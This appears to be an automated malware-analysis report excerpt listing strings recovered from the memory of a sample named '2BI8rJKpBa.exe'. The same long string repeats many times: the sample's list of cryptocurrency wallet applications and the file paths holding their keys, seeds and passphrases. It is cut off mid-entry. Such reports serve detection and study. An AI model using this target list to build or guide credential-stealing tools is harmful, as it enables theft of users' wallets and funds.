Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 